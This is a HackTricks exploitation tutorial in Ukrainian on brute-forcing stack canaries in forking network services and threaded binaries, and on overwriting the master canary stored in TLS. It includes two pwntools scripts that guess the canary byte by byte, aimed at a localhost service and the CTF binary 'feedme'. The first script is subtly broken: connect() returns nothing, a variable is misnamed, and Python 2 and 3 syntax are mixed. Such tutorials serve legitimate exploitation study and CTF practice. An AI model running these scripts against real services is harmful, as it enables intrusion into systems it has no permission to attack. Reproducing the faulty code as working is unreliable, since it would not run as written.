BF Forked & Threaded Stack Canaries
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Якщо ви стикаєтеся з бінарним файлом, захищеним канаркою та PIE (Position Independent Executable), вам, ймовірно, потрібно знайти спосіб їх обійти.
note
Зверніть увагу, що checksec
може не виявити, що бінарний файл захищений канаркою, якщо він був статично скомпільований і не здатний ідентифікувати функцію.
Однак ви можете помітити це вручну, якщо виявите, що значення зберігається в стеку на початку виклику функції, і це значення перевіряється перед виходом.
Brute force Canary
Найкращий спосіб обійти просту канарку - це якщо бінарний файл є програмою forking child processes кожного разу, коли ви встановлюєте нове з'єднання з ним (мережевий сервіс), тому що кожного разу, коли ви підключаєтеся до нього, використовується одна й та ж канарка.
Отже, найкращий спосіб обійти канарку - це просто brute-force її символ за символом, і ви можете з'ясувати, чи правильний вгаданий байт канарки, перевіряючи, чи програма зламалася, чи продовжує свій звичайний потік. У цьому прикладі функція brute-forces 8 байт канарки (x64) і розрізняє між правильно вгаданим байтом і поганим байтом, просто перевіряючи, чи відповідь надіслана сервером (інший спосіб у іншій ситуації може бути використанням try/except):
Example 1
Цей приклад реалізовано для 64 біт, але його можна легко реалізувати для 32 біт.
from pwn import *
def connect():
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
Приклад 2
Це реалізовано для 32 біт, але це можна легко змінити на 64 біти.
Також зверніть увагу, що для цього прикладу програма спочатку очікує байт, щоб вказати розмір введення та корисного навантаження.
from pwn import *
# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21
for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")
# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))
# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))
# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break
# Return the canary
return known_canary
# Start the target process
target = process('./feedme')
#gdb.attach(target)
# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
Threads
Потоки одного процесу також ділять один і той же токен канарки, тому буде можливим брутфорсити канарку, якщо бінарний файл створює новий потік щоразу, коли відбувається атака.
Більше того, переповнення буфера в багатопоточній функції, захищеній канаркою, може бути використано для модифікації майстер-канарки, збереженої в TLS. Це пов'язано з тим, що може бути можливим досягти позиції в пам'яті, де зберігається TLS (а отже, і канарка) через переповнення буфера в стеку потоку.
В результаті, пом'якшення є марним, оскільки перевірка використовується з двома канарками, які є однаковими (хоча модифікованими).
Ця атака описана в звіті: http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads
Перегляньте також презентацію https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015, яка згадує, що зазвичай TLS зберігається за допомогою mmap
, і коли створюється стек потоку, він також генерується за допомогою mmap
, що може дозволити переповнення, як показано в попередньому звіті.
Other examples & references
- https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call
execve
and jump there.